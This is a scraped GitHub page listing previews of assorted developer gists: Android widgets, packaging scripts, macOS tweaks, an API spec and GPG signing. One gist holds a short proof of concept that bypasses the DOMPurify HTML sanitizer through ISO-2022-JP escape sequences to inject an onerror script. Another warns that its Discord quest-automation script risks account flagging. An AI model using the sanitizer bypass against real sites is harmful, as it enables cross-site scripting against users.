Skip to content

Instantly share code, notes, and snippets.

View Vexcited's full-sized avatar
💭
bye!

Mikkel ALMONTE--RINGAUD Vexcited

💭
bye!
View GitHub Profile
@luffyxddev
luffyxddev / android_counter_widget.md
Last active July 10, 2025 03:10
Android Counter Widget - Example

Android Counter Widget - Example

Important: In this example i used the default tauri plugin template with desktop support (we will add dummy data for desktop, sorry was lazy)

Need to Know

To use this example you need to be familiar with rust, kotlin, android and for frontend bindings javascript .

Getting Started

@kevin-mizu
kevin-mizu / app.js
Created July 15, 2024 16:48
DOMPurify bypass using ISO-2022-JP
const createDOMPurify = require("dompurify");
const { JSDOM } = require("jsdom");
const http = require("http");
const server = http.createServer((req, res) => {
const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);
const clean = DOMPurify.sanitize(`<a id="\x1b$B"></a>\x1b(B<a id="><img src=x onerror=alert(1)>"></a>`);
res.statusCode = 200;
@aamiaa
aamiaa / CompleteDiscordQuest.md
Last active May 30, 2026 20:00
Complete Recent Discord Quest

Caution

As of April 7th 2026, Discord has expressed their intent to crack down on automating quest completion.

Some users have received the following system message:

image

There isn't much I can do to make the script undetected, so use it at your own risk, as you most likely WILL get flagged by doing so.

Complete Recent Discord Quest

@KiwiKilian
KiwiKilian / photon.openapi.json
Last active March 17, 2026 19:12
Photon OpenAPI Spec
{
"openapi": "3.1.0",
"externalDocs": {
"url": "https://github.com/komoot/photon"
},
"info": {
"title": "Komoot Photon",
"version": "0.4.4",
"license": {
"name": "Apache-2.0",
@hackermondev
hackermondev / api endpoints.md
Last active May 7, 2026 12:29
discord api endpoints

List of every single Discord API endpoint used on the client

Last updated: July 22, 2025

https://discord.com/api/v9

Endpoint Name path
@mattitanskane
mattitanskane / hidedock.md
Last active May 6, 2026 05:37
How to hide the Dock on MacOS

I never use the Dock and all it does for me is come in the way when I'm resizing windows or clicking on stuff I can't access using just my keyboard.

Here's a way to hide the Dock so it doesn't get in the way anymore.

Run the following commands in the terminal.

# Hide Dock
defaults write com.apple.dock autohide -bool true && killall Dock
defaults write com.apple.dock autohide-delay -float 1000 &amp;&amp; killall Dock
@keilmillerjr
keilmillerjr / Creating an AUR Package.md
Last active May 26, 2026 16:26
How to create and manage an AUR package. #AUR #ARCH #makepkg #PKGBUILD
@SanderTheDragon
SanderTheDragon / postman-deb.sh
Last active May 18, 2026 10:43
A shellscript to create a Postman .deb file, for simple installation on Debian-based Linux distro's. Also creates a .desktop file.
#!/bin/sh
# SPDX-FileCopyrightText: 2017-2026 SanderTheDragon <sanderthedragon@zoho.com>
#
# SPDX-License-Identifier: MIT
arch=$(dpkg --print-architecture)
echo "Detected architecture: $arch"
case "$arch" in
@ankurk91
ankurk91 / github_gpg_key.md
Last active March 31, 2026 18:26
Signing git commits using GPG (Ubuntu/Mac)

Github : Signing commits using GPG (Ubuntu/Mac) 🔐

  • Do you have an Github account ? If not create one.
  • Install required tools
  • Latest Git Client
  • gpg tools
# Ubuntu
sudo apt-get install gpa seahorse
# MacOS with https://brew.sh/
@ericdke
ericdke / countryFlag.swift
Created May 22, 2015 18:31
Transform a country acronym to an emoji flag
func flag(country: String) -> String {
let base = 127397 // Root Unicode flags index
var usv = String.UnicodeScalarView() // Prepare a Unicode string
for i in country.utf16 { // Loop over the country acronym letters
let inc = Int(i) // The letter's ASCII index
let code = UnicodeScalar(base + inc) // Shift the letter index to the flags index
usv.append(code) // Append the grapheme to the Unicode string
}
return String(usv)
}